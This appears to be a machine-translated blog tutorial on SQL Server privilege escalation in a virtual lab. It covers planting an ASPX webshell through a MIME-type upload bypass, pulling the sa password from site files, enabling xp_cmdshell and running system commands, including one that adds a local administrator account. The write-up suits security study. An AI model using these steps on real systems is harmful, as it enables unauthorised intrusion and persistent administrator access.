当前位置:网站首页>110. Network security penetration test - [privilege promotion 8] - [windows sqlserver xp_cmdshell stored procedure authorization]
110. Network security penetration test - [privilege promotion 8] - [windows sqlserver xp_cmdshell stored procedure authorization]
2022-07-07 11:56:00 【qwsn】
In my submission , Whether studying safety or engaging in safety , More or less, I have some feelings and sense of mission !!!
List of articles
One 、Windows Sqlserver xp_cmdshell Stored procedure Authorization
1、XP_CMDSHELL Background of power raising :
If the database used in the website is sqlserver So if you find sa Password , Can be opened xp_cmdshell stored procedure , With sqlserver Execute system commands as . But not necessarily the system permissions , It also depends on the administrator installing at the beginning sqlserver Permission settings for .
2、XP_CMDSHELL Relevant concepts :
(1)xp_cmdshell stored procedure 【 The stored procedure is : One or more that have been precompiled into an executable procedure SQL Collection of statements 】, It is used to execute this machine cmd Ordered , System login required sa jurisdiction . By default ,sql server2005/2008 After installation ,xp_cmdshell Stored procedures are disabled , If you want to use it , You can turn on :Exec sp_configure ‘show advanced options’,1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’,1;RECONFIGURE;`
| Serial number | command | notes |
|---|---|---|
| 1 | Exec sp_configure ‘show advanced options’,1; | # Allow configuration of advanced options |
| 2 | RECONFIGURE; | # Reconfiguration |
| 3 | EXEC sp_configure ‘xp_cmdshell’,1; | # Enable xp_cmdshell stored procedure |
| 4 | RECONFIGURE; | # Reconfiguration |
(2) Execute system command format :
| Serial number | command | notes |
|---|---|---|
| 1 | Exec master.dbo.xp_cmdshell ‘whoami’ | # View the current user |
| 2 | Exec master.dbo.xp_cmdshell ‘net user’ | # View all users |
| 3 | Exec master.dbo.xp_cmdshell ‘systeminfo’ | # see OS Information |
| 4 | Exec master.dbo.xp_cmdshell ‘net user test 123 /add & net localgroup administrators test /add’ | # Add administrator group user |
(3) Disable it after use :Exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE;
| Serial number | command | notes |
|---|---|---|
| 1 | Exec sp_configure ‘show advanced options’,1; | # Allow configuration of advanced options |
| 2 | RECONFIGURE; | # Reconfiguration |
| 3 | EXEC sp_configure ‘xp_cmdshell’,0; | # Ban xp_cmdshell stored procedure |
| 4 | RECONFIGURE; | # Reconfiguration |
3、XP_CMDSHELL The actual battle of raising power :
(1) Experimental environment :
1. Target environment :
(1) virtual machine Windows2008【target_sys.com】【192.168.97.131】
(2) Scripting language environment :php/asp The language environment exists
2. attack :
(1) virtual machine Win7【192.168.97.130】
(2)Firefox+Burpsuite+ Ant sword + Malaysia
3. The network environment :
(1)VMware Built NAT The Internet
(3) Target link :
URL:http://target_sys.com/upload.php
(3) Experimental process :
First step : Visit the target link , utilize MIME Break through the type limit of the white list , Upload up.aspx Malaysia 
【 The above process is a little 】 The following is the right raising process :
The second step : Connect up.aspx Malaysia 【 The password for admin】, And click [File Manager] File management module , Search for sqlserver The account number and password of
Connecting Malaysia :
sqlserver The general storage location of the connection data :web.config、config.asp、conn.aspx、database.aspx, But the environment is really sidelined (www.demo1.com) Under the index.aspx Memory stores as User password :123456
The third step : Click on [DataBase] Database module , Use the just obtained sa Account connection mssql, Simultaneous discovery SQL SERVER Version is 2008
xp_cmdshell Stored procedures are used to execute native cmd Ordered , System login required sa jurisdiction 
Step four :SQLExec Select from the drop-down box Add xp_cmdshell(SQL2005) This option , Turn on xp_cmdshell stored procedure 

Step five : Use the just launched xp_cmdshell stored procedure , With sqlserver To execute some system commands as
Because viewing the current permission is also an ordinary user , So you can only execute some basic commands , You can also upload the overflow right lifting tool Then improve the permissions of the current user .


边栏推荐
- Superscalar processor design yaoyongbin Chapter 10 instruction submission excerpt
- In depth learning autumn recruitment interview questions collection (1)
- What development models did you know during the interview? Just read this one
- Ask about the version of flinkcdc2.2.0, which supports concurrency. Does this concurrency mean Multiple Parallelism? Now I find that mysqlcdc is full
- 正在運行的Kubernetes集群想要調整Pod的網段地址
- How much do you know about excel formula?
- Swiftui swift internal skill: five skills of using opaque type in swift
- 《通信软件开发与应用》课程结业报告
- Zhou Yajin, a top safety scholar of Zhejiang University, is a curiosity driven activist
- Explore cloud database of cloud services together
猜你喜欢

【数据聚类】基于多元宇宙优化DBSCAN实现数据聚类分析附matlab代码

聊聊SOC启动(六)uboot启动流程二

Rationaldmis2022 array workpiece measurement

【纹理特征提取】基于matlab局部二值模式LBP图像纹理特征提取【含Matlab源码 1931期】

How to write test cases for test coupons?

Half of the people don't know the difference between for and foreach???

Some opinions and code implementation of Siou loss: more powerful learning for bounding box regression zhora gevorgyan

Test the foundation of development, and teach you to prepare for a fully functional web platform environment

一起探索云服务之云数据库

Flet教程之 14 ListTile 基础入门(教程含源码)
随机推荐
The road to success in R & D efficiency of 1000 person Internet companies
110.网络安全渗透测试—[权限提升篇8]—[Windows SqlServer xp_cmdshell存储过程提权]
大佬们有没有人遇到过 flink oracle cdc,读取一个没有更新操作的表,隔十几秒就重复读取
About how to install mysql8.0 on the cloud server (Tencent cloud here) and enable local remote connection
总结了200道经典的机器学习面试题(附参考答案)
CMU15445 (Fall 2019) 之 Project#2 - Hash Table 详解
R language uses the quantile function to calculate the quantile of the score value (20%, 40%, 60%, 80%), uses the logical operator to encode the corresponding quantile interval (quantile) into the cla
SwiftUI 教程之如何在 2 秒内实现自动滚动功能
Steps of redis installation and self startup configuration under CentOS system
Programming examples of stm32f1 and stm32subeide -315m super regenerative wireless remote control module drive
Have you ever met flick Oracle CDC, read a table without update operation, and read it repeatedly every ten seconds
112.网络安全渗透测试—[权限提升篇10]—[Windows 2003 LPK.DDL劫持提权&msf本地提权]
Flet教程之 16 Tabs 选项卡控件 基础入门(教程含源码)
Solve the problem that vscode can only open two tabs
聊聊SOC启动(六)uboot启动流程二
UP Meta—Web3.0世界创新型元宇宙金融协议
本地navicat连接liunx下的oracle报权限不足
18 basic introduction to divider separator component of fleet tutorial (tutorial includes source code)
Flet教程之 18 Divider 分隔符组件 基础入门(教程含源码)
Blog moved to Zhihu